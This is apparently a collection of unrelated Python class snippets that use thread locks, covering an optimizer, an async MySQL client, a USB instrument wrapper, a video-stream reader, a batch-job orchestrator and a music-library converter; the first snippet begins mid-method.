{'ind': ind} wchr_id = self.op.add_new_chromo(chromo, dop_info=di) self.all_dict[key] = { 'fitness': None, 'id': wchr_id, 'ind': ind, 'vec_param': self.op[wchr_id]['vec_param'] } def get_wchr_4calc_thread_save(self): """ главынй метод получения точки для расчета (потокобезопасный) :return: wchromo """ res = None try: self.locker.acquire() res = self.get_wchr_4calc() finally: self.locker.release() return res def get_wchr_4calc(self): """ главынй метод получения точки для расчета (потокоНЕбезопасный) :return: wchromo """ surf_p = heappop(self.surf_p_heap) ind = surf_p.ind v_center = surf_p.vec_param self.add_to_all_dict(ind, v_center) wchr_id = self.all_dict[hash_arr(ind)]['id'] wchr = self.op[wchr_id] neibs_inds = self.get_neibs_indexes(ind) rnd.shuffle(neibs_inds) for neib_ind in neibs_inds: if self.is_in_dict(neib_ind): continue neib_v, isgood = self.get_good_neib_v(v_center, neib_ind) if isgood: self.add_to_surf_heap(neib_ind, neib_v) return wchr def take_calced_wchr_thread_save(self, wchr, fit): """ Потокобезопастный метод принятия посчитанного варианта :param wchr: :param fit: :return: """ res = None try: self.locker.acquire() res = self.take_calced_wchr(wchr, fit) finally: self.locker.release() return res def take_calced_wchr(self, wchr, fit): """ ПотокоНЕбезопастный метод принятия посчитанного варианта :param wchr: :param fit: :return: """ if wchr['name'] != self.op.name: return wchr_id = wchr['id'] self.op[wchr_id]['fitness'] = fit ind = np.array(wchr['dop_info']['ind'], dtype=np.int) value = self.all_dict[hash_arr(ind)] value['fitness'] = fit res = (not self.fit_max) or fit > self.fit_max if res: self.fit_max = fit self.ind_best = value['ind'] for sp in self.surf_p_heap: dist = self.dist_func(sp.ind) sp.dist = dist heapify(self.surf_p_heap) n = len(self.ind_best) * 2 hl = len(self.surf_p_heap) if n < hl: h_new = [] for _ in range(n): heappush(h_new, heappop(self.surf_p_heap)) self.surf_p_heap = h_new return res def on_improve(self): pass def get_fit(self, ind): """ мтод получения фитнеса точки по индексу :param ind: :return: """ key = hash_arr(ind) if key in self.all_dict: return self.all_dict[key]['fitness'] else: return None def is_extremum(self, ind=None): """ Уже всё? :param ind: :return: """ if not ind: ind = self.ind_best fit = self.get_fit(ind) v_center = None if not fit: return False inds_neibs = self.get_neibs_indexes(ind) for ind_neib in inds_neibs: fit_neib = self.get_fit(ind_neib) if not fit_neib: if not v_center: v_center = self.get_v(ind) neib_v, isgood = self.get_good_neib_v(v_center, ind_neib) if isgood: return False elif fit_neib > fit: return False return True def get_best_cromo(self): """ получить лучшую chromo :return: """ key = hash_arr(self.ind_best) wchr_id = self.all_dict[key]['id'] wchr = self.op[wchr_id] cromo = wchr['chromo'] return cromo
class Client(object): def __init__(self, *args, **kwargs): self._args = args self._kwargs = kwargs self._connection = None self._closed = False self._close_callback = None self._io_loop = kwargs.pop('io_loop', None) self.__cursor_lock = RLock() if self._io_loop is None: self._io_loop = IOLoop.current() if "cursorclass" in kwargs and issubclass(kwargs["cursorclass"], Cursor): kwargs["cursorclass"] = kwargs["cursorclass"].__delegate_class__ def connect(self): future = Future() def on_connect(connection_future): if connection_future._exc_info is None: self._connection = connection_future._result self._connection.set_close_callback(self.on_close) future.set_result(self) else: future.set_exc_info(connection_future._exc_info) connection_future = async_call_method(Connection, *self._args, **self._kwargs) IOLoop.current().add_future(connection_future, on_connect) return future def on_close(self): self._closed = True if self._close_callback and callable(self._close_callback): self._close_callback(self) self._close_callback = None def set_close_callback(self, callback): self._close_callback = callback def close(self): if self._closed: return return async_call_method(self._connection.close) def autocommit(self, value): return async_call_method(self._connection.autocommit, value) def begin(self): return async_call_method(self._connection.begin) def commit(self): return async_call_method(self._connection.commit) def rollback(self): return async_call_method(self._connection.rollback) def show_warnings(self): return async_call_method(self._connection.show_warnings) def select_db(self, db): return async_call_method(self._connection.select_db, db) def cursor(self, cursor_cls=None): if cursor_cls is None: cursor_cls = self._connection.cursorclass if not self.__cursor_lock.acquire(0): raise RuntimeError("Connection might provide only one opened cursor") if cursor_cls and issubclass(cursor_cls, Cursor): original_cursor_cls = cursor_cls.__delegate_class__ else: original_cursor_cls = cursor_cls cursor = self._connection.cursor(original_cursor_cls) cursor_cls = cursor_cls if issubclass(cursor_cls, Cursor) else cursor.__mytor_class__ cursor = cursor_cls(cursor) cursor._release_lock = lambda *a: self.__cursor_lock.release() return cursor def query(self, sql, unbuffered=False): return async_call_method(self._connection.query, sql, unbuffered) def next_result(self): return async_call_method(self._connection.next_result) def kill(self, thread_id): return async_call_method(self._connection.kill, thread_id) def ping(self, reconnect=True): return async_call_method(self._connection.ping, reconnect) def set_charset(self, charset): return async_call_method(self._connection.set_charset, charset) def __getattr__(self, name): return getattr(self._connection, name)
class UsbCon(): """ USBTMC BACKEND A wrapper of the usbtmc library. The idea is that I can create an abstraction layer so that in the future, I can write other backends to support other os's. May need to make a pyvisa backend, for example. """ def __init__(self, idProduct=None, idVendor=None): """ """ self.lock = RLock() self.instr = self.connect(idProduct, idVendor) print("Asking *IDN? returns: {}".format(self.ask("*IDN?"))) def connect(self, idProduct=None, idVendor=None): """ if either idProduct or idVendor are None, query the user for what to connect to. """ if idProduct is None or idVendor is None: for dev in usbtmc.list_devices(): print("1: {} - {}".format(dev.manufacturer, dev.product)) dev_con = raw_input("Enter the number of the device you want to connect to: ") dev_chosen = usbtmc.list_devices()[int(dev_con) - 1] product_id = dev_chosen.idProduct vendor_id = dev_chosen.idVendor for dev in usbtmc.list_devices(): if dev.idProduct == product_id and dev.idVendor == vendor_id: if dev.is_kernel_driver_active(0): dev.detach_kernel_driver(0) instr = usbtmc.Instrument(vendor_id, product_id) return instr def read(self, num=-1, encoding="utf-8"): """ Wrapping around the read method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.read(num, encoding) self.lock.release() return msg def write(self, message, encoding="utf-8"): """ Wrapping around the write method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.write(message, encoding) self.lock.release() return msg def ask(self, message, num=-1, encoding="utf-8"): """ Wrapping around the ask method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.ask(message, num, encoding) self.lock.release() return msg def read_raw(self, num=-1): """ Wrapping around the read_raw method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.read_raw(num) self.lock.release() return msg def ask_raw(self, msg, num=-1): """ Wrapping around the ask_raw method in usbtmc.Instrument """ self.lock.acquire() msg = self.instr.ask_raw(msg, num) self.lock.release() return msg
class Stream: def __init__(self, pipe=None): self.pipe = pipe self.out = None self.lock = RLock() self.videoframe = None def run(self): print("Starting process stream") if self.pipe is None: print("There is no pipe\n exiting now...") return if camera: self.cap = cv2.VideoCapture( 'http://*****:*****@10.42.80.102/axis-cgi/mjpg/video.cgi?streamprofile=Soccer&videokeyframeinterval=' ) else: self.cap = cv2.VideoCapture( '../vid/stream_2019-06-03_14-53-06_Trim.mp4') #self.cap = cv2.VideoCapture('../vid/twee.avi') self.cap.set(cv2.CAP_PROP_BUFFERSIZE, 1) if self.cap.isOpened() is False: return self.showFrame = th.Thread(target=self.show, name="show") self.sendFrame = th.Thread(target=self.send, name="send") self.sendFrame.start() self.showFrame.start() while True: _, frame = self.cap.read() if frame is not None: self.lock.acquire() self.videoframe = frame self.lock.release() else: if camera: break else: self.cap = cv2.VideoCapture( '../vid/stream_2019-06-03_14-53-06_Trim.mp4') #self.cap = cv2.VideoCapture('../vid/twee.avi') if not self.sendFrame.is_alive() or not self.showFrame.is_alive(): break if not camera: time.sleep(0.025) self.sendFrame.join() self.showFrame.join() self.cap.release() self.out.release() self.pipe.close() cv2.destroyAllWindows() return def show(self): time.sleep(0.5) lasttime = 0 update = 31 strfps = 0 now = datetime.datetime.now() if save: self.out = cv2.VideoWriter( '../rec/stream_' + now.strftime("%Y-%m-%d_%H-%M-%S") + ".avi", cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'), 60, (int(self.cap.get(3)), int(self.cap.get(4)))) while True: try: fps = (time.time() - lasttime) except Exception: fps = 0 lasttime = time.time() self.lock.acquire() frame = self.videoframe.copy() self.lock.release() if save: save_frame = frame.copy() if update > 30: update = 0 strfps = str(fps * 10000)[0:2] update += 1 if frame is not None: cv2.putText(frame, strfps, (10, 80), cv2.FONT_HERSHEY_PLAIN, 4, (0, 0, 255), 4, 2) if save: self.out.write(save_frame) #cv2.imshow('live', frame) if cv2.waitKey(1) & 0xFF == ord('q'): break def send(self): time.sleep(0.5) while True: self.lock.acquire() frame = self.videoframe self.lock.release() self.pipe.send(frame) if not self.showFrame.is_alive(): break # https://www.pyimagesearch.com/2017/02/06/faster-video-file-fps-with-cv2-videocapture-and-opencv/
class Orchestrator: def __init__(self, submission_queue: multiprocessing.Queue, status_provider: BatchStatusProvider, config_file: str, strict_config: bool, log_folder: str, cache_search_dirs: List[str], log_event_que: LogEventQueue, singleton_run_summary_path: Optional[str] = None): self._submission_que: multiprocessing.Queue = submission_queue self._status_provider: BatchStatusProvider = status_provider self._config_file: str = config_file self._strict_config: bool = strict_config self._log_folder: str = log_folder self._cache_search_dirs = cache_search_dirs self._log_event_que = log_event_que self._singleton_run_summary_path = singleton_run_summary_path self._on_batch_id = -1 self._on_batch_type: type = type(None) self._master_thread = Thread(target=self._master_thread_loop, name="OrchestratorMasterThread", args=(()), daemon=True) self._run_summary_thread_gate = Event() self._run_summary_thread = Thread(target=self._run_summary_loop, name="OrchestratorRunSummaryThread", args=(()), daemon=True) self.__debug_loop_thread = Thread(target=self.__debug_loop, name="OrchestratorDebugLoop", args=(()), daemon=True) #TODO(andwald): The following hypothetical thread dynamically sets RTF and Concurrency of EndpointManagers # according to its own decoupled logic. This will be nice and pluggable since EndpointManagers # already adhere to whatever the dynamic settings are for the Atomic Shared Variables of # RTF and Concurrency, which is what this thread will manipulate. # self._perf_thread = Thread(target=self.perf_thread_loop, name="OrchestratorPerfThread", args=(self,), daemon=True) self._file_queue = Queue() self._file_queue_size = 0 self._in_progress: Dict[str, WorkItemRequest] = { } # WorkItemRequest.filepath -> WorkItemRequest self._in_progress_owner: Dict[str, EndpointManager] = { } # WorkItemRequest.filepath -> EndpointManager self._work_results: Dict[str, WorkItemResult] = { } # WorkItemRequest.filepath -> WorkItemResult self._batch_completion_evt = Event() self._accounting_lock = RLock() self._file_queue_cond = Condition(self._accounting_lock) self._run_summary_lock = Lock() self._misc_lock = Lock() self._summarizer: BatchRunSummarizer = None self._stop_requested = False self._endpoint_managers: List[EndpointManager] = [] self._endpoint_generation = 0 self._old_managers = set( ) # Set[str], contains names of now-inactive endpoint managers self._config_notifier: ThreadedNotifier = \ notify_file_modified(self._config_file, self.hotswap_endpoint_managers, self._log_event_que) self._start_time = time.time() self._creator_pid = current_process().pid logger.info("Orchestrator created by process: {0}".format( self._creator_pid)) self.__cnt_work_success_cb = 0 self.__cnt_work_failure_cb = 0 self._master_thread.start() self._run_summary_thread.start() # self.__debug_loop_thread.start() # Enable to debug concurrency changes. def is_alive(self): return self._master_thread.is_alive() def join(self): self._master_thread.join() def _run_summary_loop(self): while not self._stop_requested: # Prevent redundant updates when nothing can change. self._run_summary_thread_gate.wait() if self._stop_requested: return if self._on_batch_id > -1 and self._summarizer: try: self.write_summary_information(write_run_summary=True, log_conclusion_msg=False) # Don't ever let this thread die as it's too important. # Log and re-try. Repetitive failure loop will at least get logged. except Exception as e: exception_details = traceback.format_exc() logger.error( "Orchestrator: run_summary_thread in run_summary_loop(): " "Caught {0}, \nDetails: {1}".format( type(e).__name__, exception_details)) time.sleep(RUN_SUMMARY_LOOP_INTERVAL) def __debug_loop(self): """ This is only intended to be used during development and debugging. """ def _check_lock_acq(lock): acquired = lock.acquire(block=False) if acquired: lock.release() return False # We weren't able to acquire, so it's taken return True # Loop forever. This is a daemonic thread and it will intentionally # only die when the process owning Orchestrator dies. last_cnt_work_success = 0 while True: logger.debug("Stop requested: {0}".format(self._stop_requested)) logger.debug("Batch que size: {0}".format( self._submission_que.qsize())) logger.debug("On batch id: {0}".format(self._on_batch_id)) logger.debug("File queue size: {0}".format(self._file_queue_size)) logger.debug("Num in progress: {0}".format(len(self._in_progress))) logger.debug("Orchestrator accounting lock taken: {0}".format( _check_lock_acq(self._accounting_lock))) logger.debug("Status provider accounting lock taken: {0}".format( _check_lock_acq(BatchStatusProvider.lock))) logger.debug( "Notify work success callback entry count: {0}".format( self.__cnt_work_success_cb)) logger.debug( "Work items completed since last debug print: {0}".format( self.__cnt_work_success_cb - last_cnt_work_success)) last_cnt_work_success = self.__cnt_work_success_cb logger.debug( "Notify work failure callback entry count: {0}".format( self.__cnt_work_failure_cb)) logger.debug("Run summary thread alive: {0}".format( self._run_summary_thread.is_alive())) logger.debug("Number of old endpoint managers: {0}".format( len(self._old_managers))) for epm in self._endpoint_managers: logger.debug("Endpoint manager: {0}".format(epm.name)) logger.debug(" Current requests: {0}".format( epm._current_requests)) logger.debug(" Current requests lock taken: {0}".format( _check_lock_acq(epm._current_requests_lock))) logger.debug(" Pool apply_async count: {0}".format( epm._cnt_apply_async)) logger.debug(" Pool callback count: {0}".format( epm._cnt_pool_cb)) logger.debug(" Pool callback returns count: {0}".format( epm._cnt_pool_cb_rets)) logger.debug(" Stop requested: {0}".format( epm._stop_requested)) logger.debug(" Now trying to steal work: {0}".format( epm._in_steal_work_fn)) logger.debug("Stack frames of all threads:") logger.debug("\n*** STACKTRACE - START ***\n") current_threads_stacktrace(use_logger=True) logger.debug("\n*** STACKTRACE - END ***\n") time.sleep(DEBUG_LOOP_INTERVAL) def write_summary_information(self, write_run_summary: bool = True, log_conclusion_msg: bool = False, allow_fail: bool = False): """ Summarize individual file results, along with overall results, and write them to log and/or file. Also log a conclusion message if requested. :param write_run_summary: whether run summary (individual files + overall) should be written to file. :param log_conclusion_msg: whether a conclusion message should be logged which includes final stats and lists failures. :param allow_fail: log failure to write run summary but do not raise exception. """ # To ensure history serialization, we wrap this method # in its own lock that nobody else contends with except for # the threads that invoke this. with self._run_summary_lock: # Take a consistent snapshot and then report on the snapshot # without holding back forward progress. with self._accounting_lock: snap_work_results: Dict[str, WorkItemResult] = copy.deepcopy( self._work_results) snap_file_queue_size: int = self._file_queue_size snap_num_running: int = len(self._in_progress) snap_run_summarizer: BatchRunSummarizer = self._summarizer snap_batch_id: int = self._on_batch_id summary_json = {} # It's uncommon that a run summarizer wouldn't be available yet but this could # happen for example by signaling early termination to the Orchestrator. if snap_run_summarizer: summary_json = snap_run_summarizer.run_summary( snap_work_results, snap_file_queue_size, snap_num_running, self._start_time, len(self._endpoint_managers), log_conclusion_msg) # Write the summary json file if write_run_summary: try: if self._singleton_run_summary_path: logger.debug( "Updating singleton run_summary: {0}".format( self._singleton_run_summary_path)) write_json_file_atomic( summary_json, self._singleton_run_summary_path) else: try: self._status_provider.set_run_summary( snap_batch_id, summary_json) except BatchNotFoundException: # This is benign and means we caught a rare race condition # in which the batch directory is very recently deleted. pass # Minimal throttle on file writes. We are under _run_summary_lock. time.sleep(3) except Exception as e: logger.warning("Failed to write run_summary: {0}".format( str(e))) if not allow_fail: raise def request_stop(self): """ Arrange for conditions that will lead to a fast conclusion of any ongoing batch without finishing whatever is remaining or in progress in this batch if any. This will also cause EndpointManagers to shut down. Orchestrator's join() is guaranteed to eventually return. """ # Assume this might be called from a signal handler. # Instead of preventing child proc inheritance of signals, # we eliminate any leaky abstractions by permitting children # and those who spawn them to be completely blameless # for creating unexpected conditions. if current_process().pid != self._creator_pid: return with self._misc_lock: try: if self._config_notifier: self._config_notifier.stop() self._config_notifier = None except OSError as e: # ThreadedNotifier.stop() is not idempotent and gives # errno EBADF if it is already stopped. if e.errno != errno.EBADF: raise # A couple facts about Python3 in case there is any concern # about being invoked by a signal handler. # 1 - Only the main thread of a process can handle # signals, so now we know we are the main thread of the # creator process in the signal case. # 2 - When running a signal handler, the main thread is # is still subject to preemption at tick and the GIL # can still be released for other threads. This means # that picking up the lock here cannot create deadlock, # unless the main thread itself was holding the lock before # the signal. That's why we use ReentrantLock. with self._accounting_lock: self._stop_requested = True while self._file_queue_size > 0: self._file_queue.get() self._file_queue_size -= 1 self._submission_que.put(None) self._file_queue_cond.notify_all() self._batch_completion_evt.set() for m in self._endpoint_managers: m.request_stop() self._run_summary_thread_gate.set() def steal_work(self, manager: EndpointManager) -> WorkItemRequest: """ :param manager: the EndpointManager who is trying to steal work. :returns str: audio file of work to do """ sentinel = SentinelWorkItemRequest() # Classic consumer waiter pattern using condition variable. self._accounting_lock.acquire() while True: if manager.name in self._old_managers or self._stop_requested: work = sentinel break if self._file_queue_size > 0: work: WorkItemRequest = self._file_queue.get() self._file_queue_size -= 1 # Eliminate this manager early if we detect a language mismatch. # It will be recreated on a new batch. if work.language and manager.endpoint_config["language"].lower( ) != work.language.lower(): self._file_queue.put( work) # back on queue for someone qualified self._file_queue_size += 1 self._file_queue_cond.notify() work = sentinel break # Got some work to do! self._in_progress[work.filepath] = work self._in_progress_owner[work.filepath] = manager break else: # Back to sleep because we got nothing. self._file_queue_cond.wait( ) # implicit self.accounting_lock.release() self._accounting_lock.release() return work def _merge_results(self, filepath: str, result: WorkItemResult): if filepath not in self._work_results: self._work_results[filepath] = result else: prev_attempts = self._work_results[filepath].attempts result.attempts += prev_attempts self._work_results[filepath] = result def notify_work_success(self, filepath: str, manager: EndpointManager, result: WorkItemResult): with self._accounting_lock: self.__cnt_work_success_cb += 1 if manager.name in self._old_managers: # The AudioFileWork item would already be back in pending # or running by someone else or finished. Covers an uncommon race. return if self._stop_requested: # It's too late for updating batch status and we're about to die. return del self._in_progress[filepath] del self._in_progress_owner[filepath] self._merge_results(filepath, result) # Did we just finish the batch? if self._file_queue_size == 0 and len(self._in_progress) == 0: self._batch_completion_evt.set() def notify_work_failure(self, filepath: str, manager: EndpointManager, result: WorkItemResult): with self._accounting_lock: self.__cnt_work_failure_cb += 1 if manager.name in self._old_managers: # The WorkItemResult would already be back in pending # or running by someone else or finished. Covers an uncommon race. return if self._stop_requested: # It's too late for updating batch status and we're about to die. return self._merge_results(filepath, result) # Do we give it another chance? # Check retry-ability and num retries burned already. if result.can_retry and \ self._work_results[filepath].attempts - 1 < ORCHESTRATOR_SCOPE_MAX_RETRIES: self._log_event_que.debug( "Placed work item {0} back into queue since retriable.". format(filepath)) self._file_queue.put(self._in_progress[filepath]) self._file_queue_size += 1 self._file_queue_cond.notify() # Else no more retries. # Either way the item is no longer in progress. del self._in_progress[filepath] del self._in_progress_owner[filepath] # Did we just finish the batch? E.g. finally gave up on this work # item and that so happens to be the last in the batch. if self._file_queue_size == 0 and len(self._in_progress) == 0: self._batch_completion_evt.set() def hotswap_endpoint_managers(self): config_data = load_configuration(self._config_file, self._strict_config) with self._accounting_lock: if self._stop_requested: return # Get the unique generation of these endpoint managers, which # is useful for both debugging and logging. gen = self._endpoint_generation self._endpoint_generation += 1 # Get an EndpointStatusChecker for the type of the # BatchRequest that is currently being processed. ep_status_checker: EndpointStatusChecker if isinstance(None, self._on_batch_type): ep_status_checker = UnknownEndpointStatusChecker( self._log_event_que) else: ep_status_checker = self._on_batch_type.get_endpoint_status_checker( self._log_event_que) try: # Determine EndpointManagers that need to be deleted (modified, new, # or no longer exist). Do not touch EndpointManagers that have not changed. new_em_objs: List[EndpointManager] = [] # Start by assuming every EndpointManager needs to be deleted. deleted_managers: Dict[str, EndpointManager] = \ {em.endpoint_name: em for em in self._endpoint_managers} for endpoint_name, endpoint_config in config_data.items(): # If an existing endpoint is totally preserved in the new config, don't delete it. # Also require that the endpoint's manager is not terminally stopped, otherwise we need # a new instance of it anyway. if endpoint_name in deleted_managers and \ endpoint_config == deleted_managers[endpoint_name].endpoint_config and \ not deleted_managers[endpoint_name]._stop_requested: # noqa # Don't delete this EndpointManager and don't make a new one. del deleted_managers[endpoint_name] continue new_em_objs.append( EndpointManager( "HotswapGen{0}_{1}".format(str(gen), endpoint_name), endpoint_name, endpoint_config, self._log_folder, self._log_event_que, self._cache_search_dirs, # on EndpointManager has capacity to steal work self.steal_work, # on EndpointManager reports success self.notify_work_success, # on EndpointManager reports failure self.notify_work_failure, ep_status_checker, )) # Validation of the config could fail or invalid yaml may have been given, etc. # We catch anything so that we may permit another attempt later with a proper config file. # We report it in the logs and somewhere else we will die if no forward progress for too long. except Exception as e: exception_details = traceback.format_exc() logger.error( "Caught Exception '{0}' reading config. Details: {1}\n{2}". format(type(e).__name__, str(e), exception_details)) # Don't proceed to stop the old EndpointManagers because they're all we've got to go on. return if self._stop_requested: return # Also swap the EndpointManagers under lock in case of race. # First stop the old EndpointManagers to be deleted. for m in self._endpoint_managers: if m.endpoint_name in deleted_managers: self._old_managers.add(m.name) m.request_stop() # Un-assign work in progress for deleted EndpointManagers. # Now anything the old managers might still callback # would be rejected so we can safely move in progress back to queue. work_in_progress = {k: v for k, v in self._in_progress.items() } # shallow copy work_in_progress_owner = { k: v for k, v in self._in_progress_owner.items() } # shallow copy for filepath, work_item in self._in_progress.items(): owner_endpoint_name = self._in_progress_owner[ filepath].endpoint_name # If the EndpointManager that owns this work item is being deleted, # free up the work item. if owner_endpoint_name in deleted_managers: del work_in_progress[filepath] del work_in_progress_owner[filepath] self._file_queue.put(work_item) self._file_queue_size += 1 self._in_progress = work_in_progress self._in_progress_owner = work_in_progress_owner # We've potentially repopulated the file_queue. self._file_queue_cond.notify_all() # Start the new EndpointManagers. for m in new_em_objs: m.start() # Record the latest set of all EndpointManagers. self._endpoint_managers = \ [em for em in self._endpoint_managers if em.endpoint_name not in deleted_managers] + \ new_em_objs # Ensure that they are all using the correct type of EndpointStatusChecker # which depends on the subtype of BatchRequest we are currently processing. for m in self._endpoint_managers: m.set_endpoint_status_checker(ep_status_checker) logger.info( "Set new EndpointManagers after hot-swap: {0}".format(config_data)) def _master_finalize(self): """ Work to be done before Orchestrator's master thread exits. """ # Log conclusion of run_summary information if at singleton level. if self._singleton_run_summary_path: self.write_summary_information(write_run_summary=False, log_conclusion_msg=True) def _master_thread_loop(self): # Keep doing batches until given a stop request. while True: # Starting a new batch. request: BatchRequest = self._submission_que.get() with self._accounting_lock: self._on_batch_type = type(request) # Recreate the endpoints on start of a new batch in case # the last batch disabled endpoints, e.g. for mismatched # language or other reasons. self.hotswap_endpoint_managers() with self._accounting_lock: if self._stop_requested: self._master_finalize() return # Starting a new batch. # Reset record keeping if it's not singleton run summary. if self._singleton_run_summary_path is None: self._work_results = {} self._summarizer = request.get_batch_run_summarizer() logger.info("Orchestrator: Starting batch {0}".format( request.batch_id)) self._status_provider.change_status_enum( request.batch_id, BatchStatusEnum.running) self._on_batch_id = request.batch_id self._batch_completion_evt.clear() self._run_summary_thread_gate.set() assert len(self._in_progress) == 0 assert self._file_queue_size == 0 for work in request.make_work_items( self._status_provider.batch_base_path( request.batch_id), self._cache_search_dirs, self._log_folder): self._file_queue.put(work) self._file_queue_size += 1 self._file_queue_cond.notify_all() # Wait for batch completion or early stop request. In both cases, # nothing is in progress and nothing is in queue when we're woken. self._batch_completion_evt.wait() logger.info("Orchestrator: Completed batch {0}".format( request.batch_id)) # Report per-batch final run_summary. if self._singleton_run_summary_path is None: self.write_summary_information(write_run_summary=True, log_conclusion_msg=True, allow_fail=True) # Even with singleton run_summary, we should update run_summary file # now but not log conclusion. else: self.write_summary_information(write_run_summary=True, log_conclusion_msg=False, allow_fail=True) # Concatenate batch-level results to single file. if request.combine_results: write_single_output_json( request.files, self._status_provider.batch_base_path(request.batch_id)) # Intentionally change status enum last so that above results committed first # for any event-driven observers. self._status_provider.change_status_enum(request.batch_id, BatchStatusEnum.done) logger.info( "Orchestrator: Updated batch status to Done: {0}".format( request.batch_id)) # As another batch may not show up for a while (or never), stop the periodic # run summary thread since no new information to report. self._run_summary_thread_gate.clear()
class MusicLibraryConverterMaster(object): ''' classdocs ''' __instance = None def __init__(self, verbose, recursive, threads, includePattern, excludePattern, overwrite, overwriteIfSrcNewer, metadataonly, src, dst, converterType='FFMpeg', srcParams='', dstParams='', srcExt='flac', dstExt='mp3'): ''' Constructor ''' ':type recursive: boolean' ':type includePattern: String' ':type excludePattern: String' ':type threads: int' ':type src: String' ':type src: String' ':type dstExt: String' ':type dstExt: String' ':type overwrite: String' ':type overwriteIfSrcNewer: String' self.__verbose = verbose self.__recursive = recursive self.__includePattern = includePattern self.__excludePattern = excludePattern self.__threads = threads # print ("src="+src) # print ("dst="+dst) self.__src = Path(src) self.__dst = Path(dst) self.__srcExt = srcExt self.__dstExt = dstExt self.__coverExtList = ['jpg', 'jpeg', 'bmp', 'png', 'gif'] #self.__executer = ProcessPoolExecutor(max_workers=threads) self.__executer = ThreadPoolExecutor(max_workers=threads) self.__futures = [] self.__futureEvents = {} self.__instance = self self.__mutex = RLock() self.__evInterrupted = Event() self.__overwrite = overwrite self.__overwriteIfSrcNewer = overwriteIfSrcNewer self.__metadataonly = metadataonly self.__converter = MusicLibraryConverterBackendFactory(converterType, srcParams, dstParams) if self.__converter == None or not self.__converter.backendFound(): raise ConverterBackendNotFoundException(converterType) def handleFiles(self, srcFile, dst): ':type src: Path' ':type dst: Path' if not srcFile.exists(): raise FileNotFoundError(srcFile) dstFile = self.deriveDstFile(srcFile, dst) ': :type dstFile: Path' skipFile = False if dstFile.exists(): if dstFile.is_symlink() or not os.access(dstFile.as_posix(), os.W_OK): skipFile = True # Skip all symlinks and destination files which are not writable elif self.__overwrite: skipFile = False # Overwrite file as requested! elif self.__overwriteIfSrcNewer: # Check whether or not the last modification of the source file has been later than the last modification of the destination file # Update if newer if srcFile.stat().st_mtime < dstFile.lstat().st_mtime: skipFile = True else: skipFile = False else: skipFile = True # In all other cases: it's better to skip this file elif self.__metadataonly: skipFile = True # Do the work! if not skipFile: try: srcFileStr = (str(srcFile)).encode(sys.stdout.encoding, errors='replace').decode(sys.stdout.encoding) dstFileStr = (str(dstFile)).encode(sys.stdout.encoding, errors='replace').decode(sys.stdout.encoding) #print ('"'+srcFileStr+'"\n -> "'+dstFileStr+'"') except Exception as e: logging.error('An exception occured: '+str(e)) self.__mutex.acquire() future = self.__executer.submit(createWorker, self.__verbose, self.__metadataonly, self.__converter, self.__evInterrupted, srcFile, dstFile) self.__futures.append(future) future.add_done_callback(self.finished) self.__mutex.release() def copyFile(self, srcFile, dstDir): ':type file: Path' ':type dst: Path' dstFile = dstDir.joinpath(srcFile.parts[-1]) skipFile = False if dstFile.exists(): if dstFile.is_symlink() or not os.access(dstFile.as_posix(), os.W_OK): skipFile = True # Skip all symlinks and destination files which are not writable elif self.__overwrite: skipFile = False # Overwrite file as requested! elif self.__overwriteIfSrcNewer: # Check whether or not the last modification of the source file has been later than the last modification of the destination file # Update if newer if srcFile.stat().st_mtime < dstFile.lstat().st_mtime: skipFile = True else: skipFile = False else: skipFile = True # In all other cases: it's better to skip this file elif self.__metadataonly: skipFile = True # Do the work! if not skipFile: try: srcFileStr = (str(srcFile)).encode(sys.stdout.encoding, errors='replace').decode(sys.stdout.encoding) dstFileStr = (str(dstFile)).encode(sys.stdout.encoding, errors='replace').decode(sys.stdout.encoding) shutil.copyfile(srcFileStr, dstFileStr) except Exception as e: logging.error('An exception occured: '+str(e)) def handlePathRecursively(self, src, dst): ':type src: Path' ':type dst: Path' if not src.exists(): raise FileNotFoundError(src) if src.is_file(): self.handleFiles(src, self.deriveDstFile(src, dst)) elif src.is_dir(): #for file in src.glob('*.'+self.__srcExt): for p in src.iterdir(): ':type p: Path' if (self.__evInterrupted.is_set()): break if p.is_file(): if p.name.endswith('.'+self.__srcExt): self.handleFiles(p, dst) else: for cover_ext in self.__coverExtList: if p.name.endswith('.'+cover_ext): self.copyFile(p, dst) break; elif self.__recursive and p.is_dir(): dstSubDir = dst.joinpath(p.parts[-1]) ': :type dstSubDir: Path' if not dstSubDir.exists(): dstSubDir.mkdir() self.handlePathRecursively(p, dstSubDir) def deriveDstFile(self, src, dst): ':type src: Path' ':type dst: Path' if dst.is_file(): return dst if dst.is_dir(): filename = src.name ': :type filename: str' if filename.endswith('.'+self.__srcExt): #filename.replace(self.__srcExt, self.__dstExt, -1) i = filename.rfind('.'+self.__srcExt) if i==-1: filename = filename+self.__dstExt else: filename = filename[0:i]+"."+self.__dstExt return dst.joinpath(filename) raise Exception("Error: Destination file '"+str(dst)+"' is neither a file nor an (existing) directory") def run(self): try: if self.__src.exists() and not self.__dst.exists(): self.__dst.mkdir(parents=True) logging.info("Analyzing specified files/directories...") self.handlePathRecursively(self.__src, self.__dst) finished=False while not finished: finished=True self.__mutex.acquire() for f in self.__futures: if not (f.done() or f.cancelled()): finished=False self.__mutex.release() try: time.sleep(0.1) except InterruptedError: pass logging.info("Conversion finished") except FileNotFoundError as e: logging.error('Source file or directory not found: "'+str(e)+'"') def runTest(self): try: # self.__mutex.acquire() for i in range(6): ev = Event() self.__mutex.acquire() future = self.__executer.submit(createWorker, i, ev) self.__futures.append(future) self.__futureEvents[future] = ev future.add_done_callback(self.finished) self.__mutex.release() try: time.sleep(2) except InterruptedError: pass if (self.__evInterrupted.is_set()): break #wait(self.__futures, timeout=None, return_when=ALL_COMPLETED) finished=0 while not finished: finished=1 # print ("waiting: Acquire lock") self.__mutex.acquire() for f in self.__futures: if not (f.done() or f.cancelled()): finished=0 # print ("waiting: Release lock") self.__mutex.release() # while not(all((f.done() or f.cancelled()) for f in self.__futures)): # pass logging.info("All tasks are finished") except KeyboardInterrupt: pass def interrupt(self): logging.info("Sending CTRL-C event to all threads") self.__executer.shutdown(wait=False) self.__evInterrupted.set() def finished(self, future): self.__mutex.acquire() self.__futures.remove(future) self.__mutex.release() try: future.result() except Exception as e: logging.error("Worker exited with exception: "+str(e))
